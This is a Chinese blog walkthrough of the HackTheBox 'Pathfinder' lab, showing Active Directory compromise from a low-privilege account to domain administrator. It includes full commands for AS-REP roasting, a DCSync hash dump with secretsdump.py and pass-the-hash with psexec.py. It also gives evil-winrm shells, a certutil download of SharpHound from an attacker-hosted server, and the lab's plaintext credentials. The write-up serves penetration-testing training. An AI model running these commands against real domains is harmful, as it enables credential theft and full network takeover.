其他分享
首页 > 其他分享> > 渗透测试练习靶场hackthebox——Starting Point Pathfinder攻略(详细版本)

渗透测试练习靶场hackthebox——Starting Point Pathfinder攻略(详细版本)

作者:互联网

域渗透对于初学者来说,主要难点在于涉及域的基础理论知识较多,比如ACL访问控制、DcSync权限、黄金票据、白银票据、Access Token、哈希传递等等。

访问控制列表(ACL)是应用在路由器接口的指令列表(即规则)。指令列表用来告诉路由器,那些数据包可以接受,那些数据包需要拒绝。
Kerberos黄金票据是有效的TGT Kerberos票据,因为它是由域Kerberos帐户(KRBTGT)加密和签名的  。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。
黄金票据是伪造TGT并且有效的获得任何Kerberos服务,而白银票据是伪造TGS。这意味着白银票据仅限于特定服务器上的任何服务。

本文利用BloodHound来进行域信息的收集,更重要的是通过该工具对域信息进行充分的挖掘与分析,形成可行的渗透思路,遇到不懂的知识点,可以及时查阅相关资料,极大的提高了我们学习域渗透的效率。

在有了渗透思路后,我们利用Impacket工具包里的诸多域渗透相关工具进行实践即可。

本次域渗透背景为:通过前期web渗透,获取了一个域控服务器用户的账号及密码(sandra:Password1234!),但该用户权限较低,我们需要进一步渗透获取域控服务器管理员的权限。

为了保证渗透思路不被中断,其中涉及到域的一些知识点这里只做普及性的介绍,就不展开进行详细论述了,下面开始这次域渗透之旅。

端口扫描

在这里插入图片描述

-sC   默认扫描
-sV 探测端口服务版本
-A 全面扫描

根据开放的端口,明显知道这是一个域控服务器,我们在换个工具扫描一波端口,防止端口漏扫。
masscan -p 1-65535 10.10.10.30 -e tun0 —rate=1000

在这里插入图片描述

与nmap结果对比,新增了很多之前未发现的端口,比如:5985,如何利用后面会讲。(这里即使没有发现5985端口也不影响后续渗透的进行)

Impacket远程执行

既然已经有了一个用户的账号密码(sandra:Password1234!),想偷个懒看看能不能远程执行就拿下域控服务器,尝试一波Impacker的远程执行脚本。

Impacket的安装

在这里插入图片描述
Psexec.py:可提供完整的交互式控制台执行远程shell命令。

这里有个小技巧,因为密码中有!,所以要进行转意字符的处理;

在这里插入图片描述
wmiexec.py:可提供半交互式shell。

在这里插入图片描述

atexec.py:通过Task Scheduler服务在目标计算机上执行命令,并返回已执行命令的输出。
在这里插入图片描述

上述几个脚本都可以直接获取shell,属于直接能拿下服务器的工具,但这里不出意外,都没有成功,那我们还是老老实实来分析域信息吧。

域信息收集

这里我们采用的是Neo4j+Bloodhound的组合来采集和分析域信息,因此我们简单介绍下如何安装:

Neo4j的安装及启动

去Neo4j官网下载社区免费版:

https://neo4j.com/download-center/#community

解压后启动,初始账号和密码均为neo4j,浏览器里访问http://localhost:7474,登录即可;

在这里插入图片描述

Bloodhound的启动

直接下载 https://github.com/BloodHoundAD/BloodHound,然后启动;

在这里插入图片描述
用上面Neo4j的账号密码登录,数据库的地址用默认的就可以,不需要更改;

在这里插入图片描述
域信息采集

Bloodhound自带有采集器的,一是powershell采集器脚本SharpHound.ps1,二是可执行文件SharpHound.exe,但都需要登录到目标机器后运行,这里我们采用一个可以远程采集域信息的工具

bloodhound.py,下载地址:

https://github.com/fox-it/BloodHound.py。

安装命令:python3 setup.py install,安装完成后直接运行:

bloodhound-python -d megacorp.local -u sandra -p "Password1234!" -gc pathfinder.megacorp.local -c all -ns 10.10.10.30
在这里插入图片描述
得到4个文件,computers.json、domains.json、groups.json、users.json,把生成的文件拖进Bloodhound
在这里插入图片描述
加载完成后,点击Analysis就可以开始分析域信息了。

域信息分析

在开始分析之前,我们先简单了解下都可以分析出哪些结果;

在这里插入图片描述

我们实战中比较关注的点有:

Find all Domain Admins 查找所有域管理员

Find Shortest Paths to Domain Admins 查找域管理员的最短路径

Find Principals with DCSync Rights查找具有DCSync权限的主体

Users with Foreign Domain Group Membership 具有外域组成员身份的用户

Groups with Foreign Domain Group Membership 具有外域组成员身份的组

Map Domain Trusts 域信任映射图

Shortest Paths to Unconstrained Delegation Systems 不受约束的委派系统的最短路径

Shortest Paths from Kerberoastable Users 来自Kerberoastable用户的最短路径

Shortest Paths to Domain Admins from Kerberoastable Users 可通过Kerberoastable用户访问域管理员的最短路径

Shortest Path from Owned Principals 已拥有权限最短路径

Shortest Paths to Domain Admins from Owned Principals 已拥有权限到域管理员的最短路径

Shortest Paths to High Value Targets 高价值目标的最短路径

补充

绿色用户头像:用户

三个黄色头像:用户组

红色小电脑:计算机

绿色小地球:域

本次渗透的目标是拿下域控管理员,我们先依次分析下数据:

在这里插入图片描述
查找具有DCSync权限的主体;

在这里插入图片描述
在这里插入图片描述

通往高价值目标的最短路径;
在这里插入图片描述
我们可以看到用户svc_bes对域具有GenericAll特权。这意味着该帐户可以从域控制器请求复制数据,并获得敏感信息,如用户哈希等信息。

在这里插入图片描述
点开这个用户查看一下 Node Info。发现 ASREP Roastable 是 True

在这里插入图片描述
查询下相关资料,AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式,其余2个用户均没有开启。

在这里插入图片描述
在这里插入图片描述
至此,我们便有了一个渗透思路,从用户svc_bes开始入手。

域渗透

GetNPUsers.py

GetNPUsers.py是Impacket工具包中的一个脚本,该脚本实现了将尝试为那些设置了属性“不需要Kerberos预身份验证”的用户获取TGT输出。TGT hash 包含用户密码,获取到之后直接用 JTR 或者 hashcat 破解即可。

GetNPUsers.py megacorp.local/svc_bes -request -no-pass -dc-ip 10.10.10.30

在这里插入图片描述
在这里插入图片描述
由此获得了用户svc_bes的密码为Sheffield19,后续我们可以使用Impacket的secretsdump.py来执行DCSync攻击并转储所有域用户的NTLM哈希值。

secretsdump.py

secretsdump.py是Impacket工具包中的一个脚本,该脚本实现了多种不需要在远程主机上执行任何代理的情况下转储机密数据的技术。

secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:Sheffield19@10.10.10.30

在这里插入图片描述

至此得到了域管理员的NTLM哈希,我们可以在PTH攻击中使用它来获得对系统的更高访问权限,因此,我们可以使用Impacket的psexec.py来实现提权。

提权

psexec.py

psexec.py是Impacket工具包中的一个脚本,该脚本实现了在远程Windows系统上执行进程,复制文件,并返回处理输出结果,此外,它还允许直接使用完整的交互式控制台执行远程shell命令。

语法:

psexec.py megacorp.local/administrator@10.10.10.30 -hashes :

在这里插入图片描述

总结

在这里插入图片描述

彩蛋

之前发现5985端口是开放的,可以利用工具evil-winrm直接进行连接。

evil-winrm
evil-winrm是Windows远程管理(WinRM) Shell的终极版本。此程序可在启用此功能的任何Microsoft Windows服务器上使用(通常端口为5985),当然只有在你具有使用凭据和权限时才能使用。

安装:

gem install evil-winrm

最初的用户sandra可以直连后获得shell的,只不过权限太低,所以要想办法切换到其他用户;

在这里插入图片描述
在这里插入图片描述
后续的用户svc_bes也可以用该工具直连获取shell;

在这里插入图片描述
管理员Administrator也可以直连获取shell;

在这里插入图片描述
运用Bloodhound自带采集器

当连接上后,就可以运行Bloodhound自带的采集器了;

先在kali上搭建一个web服务;

在这里插入图片描述
远程下载后运行;

certutil.exe -urlcache -split -f “http://10.10.16.66:8000/SharpHound.exe“ SharpHound.exe

在这里插入图片描述
程序运行后成功;

在这里插入图片描述
换成powershell脚本试试;

在这里插入图片描述

运行脚本;

在这里插入图片描述
成功采集到信息,下载下来看看;

在这里插入图片描述
导入BloodHound就可以分析了。

标签:Pathfinder,Point,渗透,py,用户,hackthebox,票据,Impacket,权限
来源: https://blog.csdn.net/weixin_42109829/article/details/120169799